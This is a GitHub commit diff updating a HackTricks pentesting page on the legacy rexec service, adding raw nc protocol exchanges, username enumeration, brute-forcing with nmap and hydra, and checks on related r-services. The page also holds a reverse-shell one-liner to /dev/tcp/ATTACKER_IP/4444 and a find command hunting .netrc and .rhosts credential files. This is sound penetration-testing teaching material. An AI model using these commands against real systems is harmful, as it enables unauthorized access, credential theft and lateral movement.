Skip to content

Commit 43bb15d

Browse files
authored
Merge pull request #2071 from HackTricks-wiki/research_update_src_network-services-pentesting_512-pentesting-rexec_20260330_031824
Research Update Enhanced src/network-services-pentesting/512...
2 parents 4be4a33 + ce82c94 commit 43bb15d

1 file changed

Lines changed: 55 additions & 4 deletions

File tree

src/network-services-pentesting/512-pentesting-rexec.md

Lines changed: 55 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,8 @@ PORT STATE SERVICE
2525
3. A final NUL-terminated string with the **command** to execute is sent.
2626
4. The server replies with a single 8-bit status byte (0 = success, `1` = failure) followed by the command output.
2727

28+
If the first field is **non-zero**, the server opens a **second TCP connection back to the client** and uses it for stderr. This is useful both for **manual testing** and for **fingerprinting filtering / firewall issues** around the service.
29+
2830
That means you can reproduce the exchange with nothing more than `echo -e` and `nc`:
2931

3032
```bash
@@ -33,6 +35,15 @@ That means you can reproduce the exchange with nothing more than `echo -e` and `
3335

3436
If the credentials are valid you will receive the output of `id` straight back on the same connection.
3537

38+
If you want to receive stderr on a dedicated listener, ask the server to connect back to you:
39+
40+
```bash
41+
nc -lvnp 4444
42+
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
43+
```
44+
45+
Many common implementations (for example GNU `rexecd`) still enforce **16-byte username/password fields** and return **different diagnostic strings** for invalid usernames vs invalid passwords. That matters during enumeration because some targets leak whether the account exists before you start brute forcing.
46+
3647
### Manual usage with the client
3748

3849
Many Linux distributions still ship the legacy client inside the **inetutils-rexec** / **rsh-client** package:
@@ -43,6 +54,14 @@ rexec -l user -p password <target> "uname -a"
4354

4455
If `-p` is omitted the client will prompt interactively for the password (visible on the wire in clear-text!).
4556

57+
To avoid leaving the password in your shell history / process list, GNU `rexec` also supports reading it from stdin:
58+
59+
```bash
60+
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
61+
```
62+
63+
This is **not safer on the network**; it only reduces local exposure on the attacking host.
64+
4665
---
4766
## Enumeration & Brute-forcing
4867

@@ -51,8 +70,8 @@ If `-p` is omitted the client will prompt interactively for the password (visibl
5170
### Nmap
5271

5372
```bash
54-
nmap -p 512 --script rexec-info <target>
55-
# Discover service banner and test for stdout port mis-configuration
73+
nmap -sV -p 512 <target>
74+
# Confirm the classic exec service before credential attacks
5675

5776
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
5877
```
@@ -65,6 +84,35 @@ hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
6584
```
6685
`hydra` has a dedicated **rexec** module and remains the fastest offline bruteforcer . `medusa` (`-M REXEC`) and `ncrack` (`rexec` module) can be used in the same way.
6786

87+
### Username enumeration through server messages
88+
89+
Some `rexecd` implementations expose distinct errors such as **`Login incorrect.`** vs **`Password incorrect.`**. If you see this behavior, validate usernames first and only then brute force passwords:
90+
91+
```bash
92+
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
93+
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
94+
```
95+
96+
If the messages differ, build a valid-user list before sending a large password spray.
97+
98+
### Check sibling *r*-services
99+
100+
`rexec` itself uses **password authentication**, unlike `rsh` / `rlogin` trusted-host logic, but in practice they often arrive from the **same legacy package** (`openbsd-inetd`, `inetutils`, vendor UNIX bundles). If TCP 512 is open, immediately check TCP **513** and **514** as well because `.rhosts` / `/etc/hosts.equiv` abuse may offer easier lateral movement:
101+
102+
```bash
103+
nmap -sV -p 512,513,514 <target>
104+
```
105+
106+
See also:
107+
108+
{{#ref}}
109+
pentesting-rsh.md
110+
{{#endref}}
111+
112+
{{#ref}}
113+
pentesting-rlogin.md
114+
{{#endref}}
115+
68116
### Metasploit
69117

70118
```
@@ -96,7 +144,10 @@ tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
96144
```bash
97145
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
98146
```
99-
* Passwords are often stored in **~/.netrc** on other systems; if you compromise one host you may reuse them for lateral movement.
147+
* Passwords are often stored in **`~/.netrc`** or legacy automation scripts on other systems; if you compromise one host you may reuse them for lateral movement:
148+
```bash
149+
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
150+
```
100151

101152
---
102153
## Hardening / Detection
@@ -111,6 +162,6 @@ tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
111162

112163
## References
113164

165+
* GNU Inetutils `rexecd` / `rexec` documentation – [https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html](https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html)
114166
* Nmap NSE `rexec-brute` documentation – [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
115-
* Rapid7 Metasploit module `auxiliary/scanner/rservices/rexec_login`[https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
116167
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)